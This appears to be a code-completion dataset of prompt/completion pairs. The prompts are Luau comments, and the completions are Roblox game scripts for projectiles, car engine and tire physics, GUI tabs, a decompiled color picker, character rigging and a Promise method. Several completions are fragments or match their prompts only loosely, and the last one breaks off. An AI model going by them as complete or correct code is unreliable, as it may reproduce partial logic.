prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
-- Original script made by Luckymaxer [yes i edited this lol] |
Projectile = script.Parent
Projectile.Size = Vector3.new(0.2,0.2,0.2)
Players = game:GetService("Players")
Debris = game:GetService("Debris")
Values = {}
for i, v in pairs(script:GetChildren()) do
if string.find(string.lower(v.ClassName), string.lower("Value")) then
Values[v.Name] = v
end
end
BaseProjectile = Values.BaseProjectile.Value
function GetCreator()
local Creator = Values.Creator.Value
return (((Creator and Creator.Parent and Creator:IsA("Player")) and Creator) or nil)
end
function IsTeamMate(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function CheckTableForString(Table, String)
for i, v in pairs(Table) do
if string.find(string.lower(String), string.lower(v)) then
return true
end
end
return false
end
function CheckIntangible(Hit)
local ProjectileNames = {"Water", "Part", "Projectile", "Effect", "Rail", "Laser", "Bullet"}
if Hit and Hit.Parent then
if ((not Hit.CanCollide or CheckTableForString(ProjectileNames, Hit.Name)) and not Hit.Parent:FindFirstChild("Humanoid")) then
return true
end
end
return false
end
function CastRay(StartPos, Vec, Length, Ignore, DelayIfHit)
local Ignore = ((type(Ignore) == "table" and Ignore) or {Ignore})
local RayHit, RayPos, RayNormal = game:GetService("Workspace"):FindPartOnRayWithIgnoreList(Ray.new(StartPos, Vec * Length), Ignore)
if RayHit and CheckIntangible(RayHit) then
if DelayIfHit then
wait()
end
RayHit, RayPos, RayNormal = CastRay((RayPos + (Vec * 0.01)), Vec, (Length - ((StartPos - RayPos).magnitude)), Ignore, DelayIfHit)
end
return RayHit, RayPos, RayNormal
end
function FlyProjectile(Part, StartPos)
local AlreadyHit = false
local Player = GetCreator()
local function PartHit(Hit)
if not Hit or not Hit.Parent or not Player then
return
end
local character = Hit.Parent
if character:IsA("Hat") then
character = character.Parent
end
if not character then
return
end
local player = Players:GetPlayerFromCharacter(character)
if player and (player == Player or IsTeamMate(Player, player)) then
return
end
local humanoid = character:FindFirstChild("Humanoid")
if not humanoid or humanoid.Health == 0 then
return
end
UntagHumanoid(humanoid)
TagHumanoid(humanoid, Player)
humanoid:TakeDamage(Values.Damage.Value)
return character
end
local function CheckForContact(Hit)
local Directions = {{Vector = Part.CFrame.lookVector, Length = (BaseProjectile.Size.Z + 2)}, {Vector = Vector3.new(0, -1, 0), Length = (BaseProjectile.Size.Y * 1.25)}, ((Hit and {Vector = CFrame.new(Part.Position, Hit.Position).lookVector, Length = (BaseProjectile.Size.Z + 2)}) or nil)}
local ClosestRay = {DistanceApart = math.huge}
for i, v in pairs(Directions) do
if v then
local Direction = CFrame.new(Part.Position, (Part.CFrame + v.Vector * 2).p).lookVector
local RayHit, RayPos, RayNormal = CastRay((Part.Position + Vector3.new(0, 0, 0)), Direction, v.Length, {((Player and Player.Character) or nil), Part}, false)
if RayHit then
local DistanceApart = (Part.Position - RayPos).Magnitude
if DistanceApart < ClosestRay.DistanceApart then
ClosestRay = {Hit = RayHit, Pos = RayPos, Normal = RayNormal, DistanceApart = DistanceApart}
end
end
end
end
return ((ClosestRay.Hit and ClosestRay) or nil)
end
local function ConnectPart(Hit)
if AlreadyHit then
return
end
local ClosestRay = CheckForContact(Hit)
if not ClosestRay then
return
end
AlreadyHit = true
for i, v in pairs(Part:GetChildren()) do
if v:IsA("BasePart") then
for ii, vv in pairs(v:GetChildren()) do
if vv:IsA("ParticleEmitter") then
vv.Enabled = false
v.Anchored = true
elseif vv:IsA("JointInstance") then
vv:Destroy()
end
end
Debris:AddItem(v, 8)
elseif string.find(string.lower(v.ClassName), string.lower("Body")) then
v:Destroy()
end
end
local SuccessfullyHit = PartHit(ClosestRay.Hit)
Part.Size = Vector3.new(0.2, 0.2, 0.2)
Part.CanCollide = false
local Hit = ClosestRay.Hit
if SuccessfullyHit and Hit.Parent:FindFirstChild("Humanoid") or Hit.Parent.Parent:FindFirstChild("Humanoid") then
script.HitE:Fire(Hit)
if Values.ProjectileLand.Value == true then
local ProjectilePosition = ClosestRay.Pos
local StickCFrame = CFrame.new(ProjectilePosition, StartPos)
StickCFrame = (StickCFrame * CFrame.new(0, 0, (-(BaseProjectile.Size.Z / 2) + 0)) * CFrame.Angles(0, math.pi, 0))
local Weld = Instance.new("Motor6D")
Weld.Part0 = Hit
Weld.Part1 = Part
Weld.C0 = CFrame.new(0, 0, 0)
Weld.C1 = (StickCFrame:inverse() * Hit.CFrame)
Weld.Parent = Part
Part.Orientation = Part.Orientation + Values.ProjectileLandRotation.Value
else
script.Parent:Destroy()
end
else
script.HitE:Fire(Hit)
if Values.ProjectileLand.Value == true then
local ProjectilePosition = ClosestRay.Pos
local StickCFrame = CFrame.new(ProjectilePosition, StartPos)
StickCFrame = (StickCFrame * CFrame.new(0, 0, (-(BaseProjectile.Size.Z / 2) + 0)) * CFrame.Angles(0, math.pi, 0))
local Weld = Instance.new("Motor6D")
Weld.Part0 = Hit
Weld.Part1 = Part
Weld.C0 = CFrame.new(0, 0, 0)
Weld.C1 = (StickCFrame:inverse() * Hit.CFrame)
Weld.Parent = Part
Part.Orientation = Part.Orientation + Values.ProjectileLandRotation.Value
else
script.Parent:Destroy()
end
end
delay(Values.Lifetime.Value,function()
Projectile:Destroy()
end)
Part.Name = "Effect"
end
Part.Touched:connect(function(Hit)
if not Hit or not Hit.Parent or AlreadyHit then
return
end
ConnectPart(Hit)
end)
spawn(function()
while Part and Part.Parent and Part.Name ~= "Effect" and not AlreadyHit do
ConnectPart()
wait()
end
end)
end
FlyProjectile(Projectile, Values.Origin.Value)
|
--Runtime Loop |
while wait() do
for i,v in pairs(Wheels) do
--Vars
local speed = car.DriveSeat.Velocity.Magnitude
local wheel = v.wheel.RotVelocity.Magnitude
local z = 0
local deg = 0.000126
--Tire Wear
local cspeed = (speed/1.298)*(2.6/v.wheel.Size.Y)
local wdif = math.abs(wheel-cspeed)
if _WHEELTUNE.TireWearOn then
if speed < 4 then
--Wear Regen
v.Heat = math.min(v.Heat + _WHEELTUNE.RegenSpeed/10000,v.BaseHeat)
else
--Tire Wear
if wdif > 1 then
v.Heat = v.Heat - wdif*deg*v.WearSpeed/28
elseif v.Heat >= v.BaseHeat then
v.Heat = v.BaseHeat
end
end
end
--Apply Friction
if v.wheel.Name == "FL" or v.wheel.Name == "FR" or v.wheel.Name == "F" then
z = _WHEELTUNE.FMinFriction+v.Heat
deg = ((deg - 0.0001188*cValues.Brake.Value)*(1-math.abs(cValues.SteerC.Value))) + 0.00000126*math.abs(cValues.SteerC.Value)
else
z = _WHEELTUNE.RMinFriction+v.Heat
end
--Tire Slip
if math.ceil((wheel/0.774/speed)*100) < 8 then
--Lock Slip
v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z*_WHEELTUNE.WheelLockRatio,v.elast,v.fWeight,v.eWeight)
v.Heat = math.max(v.Heat,0)
elseif (_Tune.TCSEnabled and cValues.TCS.Value == false and math.ceil((wheel/0.774/speed)*100) > 80) then
--TCS Off
v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z*_WHEELTUNE.TCSOffRatio,v.elast,v.fWeight,v.eWeight)
v.Heat = math.max(v.Heat,0)
elseif math.ceil((wheel/0.774/speed)*100) > 130 then
--Wheelspin
v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z*_WHEELTUNE.WheelspinRatio,v.elast,v.fWeight,v.eWeight)
v.Heat = math.max(v.Heat,0)
else
--No Slip
v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z,v.elast,v.fWeight,v.eWeight)
v.Heat = math.min(v.Heat,v.BaseHeat)
end
--Update UI
local vstress = math.abs(((((wdif+cspeed)/0.774)*0.774)-cspeed)/15)
if vstress > 0.05 and vstress > v.stress then
v.stress = math.min(v.stress + 0.03,1)
else
v.stress = math.max(v.stress - 0.03,vstress)
end
local UI = script.Parent.Tires[v.wheel.Name]
UI.First.Second.Image.ImageColor3 = Color3.new(math.min((v.stress*2),1), 1-v.stress, 0)
UI.First.Position = UDim2.new(0,0,1-v.Heat/v.BaseHeat,0)
UI.First.Second.Position = UDim2.new(0,0,v.Heat/v.BaseHeat,0)
end
end
|
--[[Engine]] |
local fFD = _Tune.FinalDrive*_Tune.FDMult
local fFDr = fFD*30/math.pi
local cGrav = workspace.Gravity*_Tune.InclineComp/32.2
local wDRatio = wDia*math.pi/60
local cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0)
local cfYRot = CFrame.Angles(0,math.pi,0)
local rtTwo = (2^.5)/2
if _Tune.Aspiration == "Single" then
_TCount = 1
_TPsi = _Tune.Boost
elseif _Tune.Aspiration == "Double" then
_TCount = 2
_TPsi = _Tune.Boost*2
end
--Horsepower Curve
local HP=_Tune.Horsepower/100
local HP_B=((_Tune.Horsepower*((_TPsi)*(_Tune.CompressRatio/10))/7.5)/2)/100
local Peak=_Tune.PeakRPM/1000
local Sharpness=_Tune.PeakSharpness
local CurveMult=_Tune.CurveMult
local EQ=_Tune.EqPoint/1000
--Horsepower Curve
function curveHP(RPM)
RPM=RPM/1000
return ((-(RPM-Peak)^2)*math.min(HP/(Peak^2),CurveMult^(Peak/HP))+HP)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1))))
end
local PeakCurveHP = curveHP(_Tune.PeakRPM)
function curvePSI(RPM)
RPM=RPM/1000
return ((-(RPM-Peak)^2)*math.min(HP_B/(Peak^2),CurveMult^(Peak/HP_B))+HP_B)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1))))
end
local PeakCurvePSI = curvePSI(_Tune.PeakRPM)
--Plot Current Horsepower
function GetCurve(x,gear)
local hp=(math.max(curveHP(x)/(PeakCurveHP/HP),0))*100
return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000
end
--Plot Current Boost (addition to Horsepower)
function GetPsiCurve(x,gear)
local hp=(math.max(curvePSI(x)/(PeakCurvePSI/HP_B),0))*100
return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000
end
--Output Cache
local HPCache = {}
local PSICache = {}
for gear,ratio in pairs(_Tune.Ratios) do
local nhpPlot = {}
local bhpPlot = {}
for rpm = math.floor(_Tune.IdleRPM/100),math.ceil((_Tune.Redline+100)/100) do
local ntqPlot = {}
local btqPlot = {}
ntqPlot.Horsepower,ntqPlot.Torque = GetCurve(rpm*100,gear-2)
btqPlot.Horsepower,btqPlot.Torque = GetPsiCurve(rpm*100,gear-2)
hp1,tq1 = GetCurve((rpm+1)*100,gear-2)
hp2,tq2 = GetPsiCurve((rpm+1)*100,gear-2)
ntqPlot.HpSlope = (hp1 - ntqPlot.Horsepower)
btqPlot.HpSlope = (hp2 - btqPlot.Horsepower)
ntqPlot.TqSlope = (tq1 - ntqPlot.Torque)
btqPlot.TqSlope = (tq2 - btqPlot.Torque)
nhpPlot[rpm] = ntqPlot
bhpPlot[rpm] = btqPlot
end
table.insert(HPCache,nhpPlot)
table.insert(PSICache,bhpPlot)
end
--Powertrain
wait()
--Automatic Transmission
function Auto()
local maxSpin=0
for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end
if _IsOn then
_ClutchOn = true
if _CGear >= 1 then
if _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 5 then
_CGear = 1
else
if _Tune.AutoShiftMode == "RPM" then
if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then
if (_CGear ~= 0) and (_CGear ~= #_Tune.Ratios-2) then
_GThrotShift = 0
wait(_Tune.ShiftTime)
_GThrotShift = 1
end
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then
if _CGear ~= 1 then
_GThrotShift = 0
wait(_Tune.ShiftTime/2)
_GThrotShift = 1
end
_CGear=math.max(_CGear-1,1)
end
else
if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then
if (_CGear ~= 0) and (_CGear ~= #_Tune.Ratios-2) then
_GThrotShift = 0
wait(_Tune.ShiftTime)
_GThrotShift = 1
end
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then
if _CGear ~= 1 then
_GThrotShift = 0
wait(_Tune.ShiftTime/2)
_GThrotShift = 1
end
_CGear=math.max(_CGear-1,1)
end
end
end
end
end
end
local tqTCS = 1
--Apply Power
function Engine()
--Neutral Gear
if _CGear==0 then _ClutchOn = false end
--Car Is Off
local revMin = _Tune.IdleRPM
if not _IsOn then
revMin = 0
_CGear = 0
_ClutchOn = false
_GThrot = _Tune.IdleThrottle/100
end
--Determine RPM
local maxSpin=0
local maxCount=0
for i,v in pairs(Drive) do maxSpin = maxSpin + v.RotVelocity.Magnitude maxCount = maxCount + 1 end
maxSpin=maxSpin/maxCount
if _ClutchOn then
local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin)
local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9)
_RPM = _RPM*clutchP + aRPM*(1-clutchP)
else
if _GThrot-(_Tune.IdleThrottle/100)>0 then
if _RPM>_Tune.Redline then
_RPM = _RPM-_Tune.RevBounce*2
else
_RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100)
end
else
_RPM = math.max(_RPM-_Tune.RevDecay,revMin)
end
end
--Rev Limiter
_spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2])
if _RPM>_Tune.Redline then
if _CGear<#_Tune.Ratios-2 then
_RPM = _RPM-_Tune.RevBounce
else
_RPM = _RPM-_Tune.RevBounce*.5
end
end
local TPsi = _TPsi/_TCount
_Boost = _Boost + ((((((_HP*(_GThrot*1.2)/_Tune.Horsepower)/8)-(((_Boost/TPsi*(TPsi/15)))))*((36/_Tune.TurboSize)*2))/TPsi)*15)
if _Boost < 0.05 then _Boost = 0.05 elseif _Boost > 2 then _Boost = 2 end
local cTq = HPCache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/100)]
_NH = cTq.Horsepower+(cTq.HpSlope*((_RPM-math.floor(_RPM/100))/1000)%1)
_NT = cTq.Torque+(cTq.TqSlope*((_RPM-math.floor(_RPM/100))/1000)%1)
if _Tune.Aspiration ~= "Natural" then
local bTq = PSICache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/100)]
_BH = bTq.Horsepower+(bTq.HpSlope*((_RPM-math.floor(_RPM/100))/1000)%1)
_BT = bTq.Torque+(bTq.TqSlope*((_RPM-math.floor(_RPM/100))/1000)%1)
_HP = _NH + (_BH*(_Boost/2))
_OutTorque = _NT + (_BT*(_Boost/2))
else
_HP = _NH
_OutTorque = _NT
end
local iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav
if _CGear==-1 then iComp=-iComp end
_OutTorque = _OutTorque*math.max(1,(1+iComp))
--Average Rotational Speed Calculation
local fwspeed=0
local fwcount=0
local rwspeed=0
local rwcount=0
for i,v in pairs(car.Wheels:GetChildren()) do
if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then
fwspeed=fwspeed+v.RotVelocity.Magnitude
fwcount=fwcount+1
elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then
rwspeed=rwspeed+v.RotVelocity.Magnitude
rwcount=rwcount+1
end
end
fwspeed=fwspeed/fwcount
rwspeed=rwspeed/rwcount
local cwspeed=(fwspeed+rwspeed)/2
--Update Wheels
for i,v in pairs(car.Wheels:GetChildren()) do
--Reference Wheel Orientation
local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector
local aRef=1
local diffMult=1
if v.Name=="FL" or v.Name=="RL" then aRef=-1 end
--AWD Torque Scaling
if _Tune.Config == "AWD" then _OutTorque = _OutTorque*rtTwo end
--Differential/Torque-Vectoring
if v.Name=="FL" or v.Name=="FR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
elseif v.Name=="RL" or v.Name=="RR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
end
_TCSActive = false
_ABSActive = false
--Output
if _PBrake and (v.Name=="RR" or v.Name=="RL") then
--PBrake
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce
v["#AV"].angularvelocity=Vector3.new()
else
--Apply Power
if _GBrake==0 then
local driven = false
for _,a in pairs(Drive) do if a==v then driven = true end end
if driven then
local on=1
if not script.Parent.IsOn.Value then on=0 end
local clutch=1
if not _ClutchOn then clutch=0 end
local throt = _GThrot * _GThrotShift
--Apply TCS
tqTCS = 1
if _TCS then
tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100)))
end
if tqTCS < 1 then
_TCSAmt = tqTCS
_TCSActive = true
end
--Update Forces
local dir=1
if _CGear==-1 then dir = -1 end
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on*clutch
v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir
else
v["#AV"].maxTorque=Vector3.new()
v["#AV"].angularvelocity=Vector3.new()
end
--Brakes
else
local brake = _GBrake
--Apply ABS
local tqABS = 1
if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then
tqABS = 0
end
_ABSActive = (tqABS<1)
--Update Forces
if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS
else
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS
end
v["#AV"].angularvelocity=Vector3.new()
end
end
end
end
|
-- Settings and GameSettings are read only |
local Settings = UserSettings()
local GameSettings = Settings.GameSettings
|
--TABS |
function activedeactive(thing, val)
for _,i in pairs (thing:GetChildren()) do
if i:IsA("ImageButton") or i:IsA("TextButton") then
if i.Name ~= "header" then
i.Active = val
end
end
end
end
lights.header.MouseButton1Click:connect(function()
if curtab ~= 3 then
curtab = 3
lights:TweenPosition(UDim2.new(0, -8, 0, 150), "Out", "Quad", 0.5, true)
siren:TweenPosition(UDim2.new(0, 180, 0, 150), "Out", "Quad", 0.5, true)
seats:TweenPosition(UDim2.new(0, 196, 0, 150), "Out", "Quad", 0.5, true)
activedeactive(lights,true)
activedeactive(siren,false)
activedeactive(seats,false)
else
curtab = 0
lights:TweenPosition(UDim2.new(0, 164, 0, 150), "Out", "Quad", 0.5, true)
siren:TweenPosition(UDim2.new(0, 180, 0, 150), "Out", "Quad", 0.5, true)
seats:TweenPosition(UDim2.new(0, 196, 0, 150), "Out", "Quad", 0.5, true)
end
end)
siren.header.MouseButton1Click:connect(function()
if curtab ~= 2 then
curtab = 2
lights:TweenPosition(UDim2.new(0, -8, 0, 150), "Out", "Quad", 0.5, true)
siren:TweenPosition(UDim2.new(0, 8, 0, 150), "Out", "Quad", 0.5, true)
seats:TweenPosition(UDim2.new(0, 196, 0, 150), "Out", "Quad", 0.5, true)
activedeactive(lights,false)
activedeactive(siren,true)
activedeactive(seats,false)
else
curtab = 0
lights:TweenPosition(UDim2.new(0, 164, 0, 150), "Out", "Quad", 0.5, true)
siren:TweenPosition(UDim2.new(0, 180, 0, 150), "Out", "Quad", 0.5, true)
seats:TweenPosition(UDim2.new(0, 196, 0, 150), "Out", "Quad", 0.5, true)
end
end)
seats.header.MouseButton1Click:connect(function()
if curtab ~= 1 then
curtab = 1
lights:TweenPosition(UDim2.new(0, -8, 0, 150), "Out", "Quad", 0.5, true)
siren:TweenPosition(UDim2.new(0, 8, 0, 150), "Out", "Quad", 0.5, true)
seats:TweenPosition(UDim2.new(0, 24, 0, 150), "Out", "Quad", 0.5, true)
activedeactive(lights,false)
activedeactive(siren,false)
activedeactive(seats,true)
else
curtab = 0
lights:TweenPosition(UDim2.new(0, 164, 0, 150), "Out", "Quad", 0.5, true)
siren:TweenPosition(UDim2.new(0, 180, 0, 150), "Out", "Quad", 0.5, true)
seats:TweenPosition(UDim2.new(0, 196, 0, 150), "Out", "Quad", 0.5, true)
end
end) |
-- Decompiled with the Synapse X Luau decompiler. |
client = nil;
service = nil;
return function(p1)
local v1 = p1.Color or Color3.new(1, 1, 1);
local v2 = {
Name = "ColorPicker",
Title = p1.Title and "Color Picker",
Icon = client.MatIcons.Create,
Size = { 250, 230 },
MinSize = { 150, 230 },
MaxSize = { math.huge, 230 },
SizeLocked = true
};
local u1 = nil;
local u2 = v1;
function v2.OnClose()
if not u1 then
u1 = u2;
end;
end;
local v3 = client.UI.Make("Window", v2);
local v4 = {
Text = "Accept",
Size = UDim2.new(1, -10, 0, 20),
Position = UDim2.new(0, 5, 0, 175)
};
local v5 = {};
function v5.MouseButton1Down()
u1 = u2;
v3:Close();
end;
v4.Events = v5;
local v6 = v3:Add("TextButton", v4);
local u3 = v1.r;
local u4 = v1.g;
local u5 = v1.b;
local u6 = v3:Add("Frame", {
Size = UDim2.new(1, -10, 0, 20),
Position = UDim2.new(0, 5, 0, 150),
BackgroundColor3 = u2
});
local u7 = nil;
local u8 = nil;
local u9 = nil;
local u10 = nil;
local u11 = nil;
local u12 = nil;
local v7 = {
Text = "Red: ",
BoxText = u3 * 255,
BackgroundTransparency = 1,
TextSize = 20,
Size = UDim2.new(1, -20, 0, 20),
Position = UDim2.new(0, 10, 0, 0)
};
local function u13()
u2 = Color3.new(u3, u4, u5);
u6.BackgroundColor3 = u2;
u7:SetValue(math.floor(u3 * 255));
u8.SliderBar.ImageColor3 = Color3.new(0, 0, 0):lerp(Color3.new(1, 0, 0), u3);
u8:SetValue(u3);
u9:SetValue(math.floor(u4 * 255));
u10.SliderBar.ImageColor3 = Color3.new(0, 0, 0):lerp(Color3.new(0, 1, 0), u4);
u10:SetValue(u4);
u11:SetValue(math.floor(u5 * 255));
u12.SliderBar.ImageColor3 = Color3.new(0, 0, 0):lerp(Color3.new(0, 0, 1), u5);
u12:SetValue(u5);
end;
function v7.TextChanged(p2, p3, p4)
if tonumber(p2) then
local v8 = nil;
p2 = math.floor(tonumber(p2));
if p2 < 0 then
v8 = true;
p2 = 0;
elseif p2 > 255 then
v8 = true;
p2 = 255;
end;
u3 = p2 / 255;
u13();
if v8 then
return p2;
end;
elseif p3 then
return u3 * 255;
end;
end;
u7 = v3:Add("StringEntry", v7);
u9 = v3:Add("StringEntry", {
Text = "Green: ",
BoxText = u4 * 255,
BackgroundTransparency = 1,
TextSize = 20,
Size = UDim2.new(1, -20, 0, 20),
Position = UDim2.new(0, 10, 0, 50),
TextChanged = function(p5, p6, p7)
if tonumber(p5) then
local v9 = false;
p5 = math.floor(tonumber(p5));
if p5 < 0 then
v9 = true;
p5 = 0;
elseif p5 > 255 then
v9 = true;
p5 = 255;
end;
u4 = p5 / 255;
u13();
if v9 then
return p5;
end;
elseif p6 then
return u4 * 255;
end;
end
});
u11 = v3:Add("StringEntry", {
Text = "Blue: ",
BoxText = u5 * 255,
BackgroundTransparency = 1,
TextSize = 20,
Size = UDim2.new(1, -20, 0, 20),
Position = UDim2.new(0, 10, 0, 100),
TextChanged = function(p8, p9, p10)
if tonumber(p8) then
local v10 = false;
p8 = math.floor(tonumber(p8));
if p8 < 0 then
v10 = true;
p8 = 0;
elseif p8 > 255 then
v10 = true;
p8 = 255;
end;
u5 = p8 / 255;
u13();
if v10 then
return p8;
end;
elseif p9 then
return u5 * 255;
end;
end
});
u8 = v3:Add("Slider", {
Percent = u2.r,
Size = UDim2.new(1, -20, 0, 20),
Position = UDim2.new(0, 10, 0, 25),
OnSlide = function(p11)
u3 = p11;
u13();
end
});
u10 = v3:Add("Slider", {
Percent = u2.r,
Size = UDim2.new(1, -20, 0, 20),
Position = UDim2.new(0, 10, 0, 75),
OnSlide = function(p12)
u4 = p12;
u13();
end
});
u12 = v3:Add("Slider", {
Percent = u2.r,
Size = UDim2.new(1, -20, 0, 20),
Position = UDim2.new(0, 10, 0, 125),
OnSlide = function(p13)
u5 = p13;
u13();
end
});
u13();
local l__gTable__11 = v3.gTable;
v3:ResizeCanvas();
v3:Ready();
while true do
wait();
if u1 then
break;
end;
if not l__gTable__11.Active then
break;
end;
end;
return nil;
end;
|
-- DynDS 1.1.1
-------------------------------------------------------------------------------------------------- |
local P = script.Parent
local body = P.Parent
local car = body.Parent
for i,v in pairs(script:GetChildren()) do
if (v:FindFirstChild("Car")) and (v.Car:IsA("ObjectValue")) then
v.Car.Value = car
end
end
P.ChildAdded:connect(function(child)
if child:IsA("Weld") and (child.Part1) and (child.Part1.Name == "HumanoidRootPart") then
local player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
if (player) then
for i,v in pairs(script:GetChildren()) do
v:Clone().Parent = player.PlayerGui
end
end
end
end)
|
--fakehead:Destroy()
--tilt:Destroy() |
if arms ~= nil and chr.Torso ~= nil then
if not chr.Torso:FindFirstChild("Left Shoulder") then
local Motor = Instance.new("Motor6D", torso)
Motor.Name = "Left Shoulder"
Motor.Part0, Motor.Part1 = torso, torso.Parent["Left Arm"]
Motor.MaxVelocity = 0.1
Motor.C0 = CFrame.new(-1, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Motor.C1 = CFrame.new(0.5, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
end
if not chr.Torso:FindFirstChild("Right Shoulder") then
local Motor = Instance.new("Motor6D", torso)
Motor.Name = "Right Shoulder"
Motor.Part0, Motor.Part1 = torso, torso.Parent["Right Arm"]
Motor.MaxVelocity = 0.1
Motor.C0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Motor.C1 = CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
end
local sh = {chr.Torso:FindFirstChild("Left Shoulder"), chr.Torso:FindFirstChild("Right Shoulder")}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
if chr.HumanoidRootPart:FindFirstChild("Mtweld") then chr.HumanoidRootPart:FindFirstChild("Mtweld"):Destroy() end
for _,Child in pairs(arms[2]:GetChildren()) do
if Child:IsA("Texture") or Child:IsA("Decal") then
Child.Transparency = 0
end
end
if hrp:FindFirstChild("RootJoint") then
hrp.RootJoint.Part1 = torso
else
local RootJoint = Instance.new("Motor6D",hrp)
RootJoint.MaxVelocity, RootJoint.Name = 0.1, "RootJoint"
RootJoint.Part0, RootJoint.Part1 = hrp,torso
end
neck.C0=OriginalC0
end
else
print("sh")
end
else
print("arms")
end
Tool.Hig.Value = 0
TweenService:Create(torso.Parent.Humanoid,TweenInfo.new(0.1),
{CameraOffset = torso.Parent.Humanoid.CameraOffset + (Vector3.new(0,0,0) - torso.Parent.Humanoid.CameraOffset)}):Play()
script.Disabled = true
script.Disabled = false
wait()
script.Speed.Value = 16
chr.Humanoid.WalkSpeed = 16
end
Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
|
--[[
Creates a new promise that receives the result of this promise.
The given callbacks are invoked depending on that result.
]] |
function Promise.prototype:_andThen(traceback, successHandler, failureHandler)
self._unhandledRejection = false
-- Create a new promise to follow this part of the chain
return Promise._new(traceback, function(resolve, reject)
-- Our default callbacks just pass values onto the next promise.
-- This lets success and failure cascade correctly!
local successCallback = resolve
if successHandler then
successCallback = createAdvancer(
traceback,
successHandler,
resolve,
reject
)
end
local failureCallback = reject
if failureHandler then
failureCallback = createAdvancer(
traceback,
failureHandler,
resolve,
reject
)
end
if self._status == Promise.Status.Started then
-- If we haven't resolved yet, put ourselves into the queue
table.insert(self._queuedResolve, successCallback)
table.insert(self._queuedReject, failureCallback)
elseif self._status == Promise.Status.Resolved then
-- This promise has already resolved! Trigger success immediately.
